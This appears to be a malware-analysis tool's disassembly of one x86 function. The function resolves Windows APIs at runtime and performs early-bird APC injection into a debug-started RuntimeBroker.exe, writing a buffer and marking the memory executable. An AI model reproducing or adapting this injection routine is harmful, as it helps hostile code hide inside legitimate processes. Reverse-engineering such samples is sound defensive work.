Function at 0x402ae4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xbc
mov dword [esp], str.KERNEL32.DLL
mov eax, dword [esp + 0xd0]
mov esi, dword [esp + 0xd4]
mov dword [esp + 0x48], eax
mov eax, dword [0x407040]
mov dword [esp + 0xac], eax
xor eax, eax
call sub.KERNEL32.dll_GetModuleHandleW
push ebx
mov ebx, eax
mov dword [esp + 4], str.CreateProcessA
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
push edi
mov ebp, eax
push edi
mov dword [esp], ebx
mov dword [esp + 4], str.VirtualAllocEx
call sub.KERNEL32.dll_GetProcAddress
push edx
push edx
mov dword [esp], ebx
mov dword [esp + 4], str.VirtualProtectEx
mov dword [esp + 0x4c], eax
call sub.KERNEL32.dll_GetProcAddress
push ecx
push ecx
mov dword [esp], ebx
mov dword [esp + 4], str.WriteProcessMemory
mov dword [esp + 0x38], eax
call sub.KERNEL32.dll_GetProcAddress
push edi
push edi
mov dword [esp], ebx
mov dword [esp + 4], str.QueueUserAPC
mov dword [esp + 0x3c], eax
call sub.KERNEL32.dll_GetProcAddress
push edx
push edx
mov dword [esp], ebx
mov dword [esp + 4], str.DebugActiveProcessStop
mov dword [esp + 0x40], eax
call sub.KERNEL32.dll_GetProcAddress
push ecx
push ecx
mov dword [esp], ebx
mov dword [esp + 4], str.CloseHandle
mov dword [esp + 0x44], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, 0x11
push ebx
push ebx
mov ebx, eax
xor eax, eax
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x58]
mov ecx, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x68]
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.C:WindowsSystem32RuntimeBroker.exe
mov dword [esp], 0
call ebp
sub esp, 0x28
test eax, eax
je 0x402d27
cmp dword [esp + 0x60], 0
je 0x402d27
mov eax, dword [esp + 0x58]
test eax, eax
je 0x402d27
cmp dword [esp + 0x5c], 0
je 0x402d27
mov dword [esp + 0x50], 0
mov edx, dword [esp + 0x4c]
mov dword [esp + 0x54], 0
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
call edx
sub esp, 0x14
mov edi, eax
test eax, eax
je 0x402d27
lea eax, [esp + 0x50]
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov eax, dword [esp + 0x58]
mov dword [esp], eax
mov eax, dword [esp + 0x3c]
call eax
sub esp, 0x14
test eax, eax
je 0x402d27
cmp dword [esp + 0x50], esi
jne 0x402d27
lea eax, [esp + 0x54]
mov dword [esp + 0xc], 0x40
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 8], esi
mov dword [esp], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 4], edi
call eax
sub esp, 0x14
test eax, eax
je 0x402d27
mov eax, dword [esp + 0x5c]
mov dword [esp + 8], 0
mov dword [esp], edi
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
call eax
sub esp, 0xc
mov eax, dword [esp + 0x60]
mov dword [esp], eax
mov eax, dword [esp + 0x44]
call eax
push eax
mov eax, dword [esp + 0x58]
mov dword [esp], eax
call ebx
push edx
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
call ebx
push ecx
mov eax, dword [esp + 0xac]
sub eax, dword [0x407040]
je 0x402d3b
call fcn.00401770
add esp, 0xbc
pop ebx
pop esi
pop edi
pop ebp
ret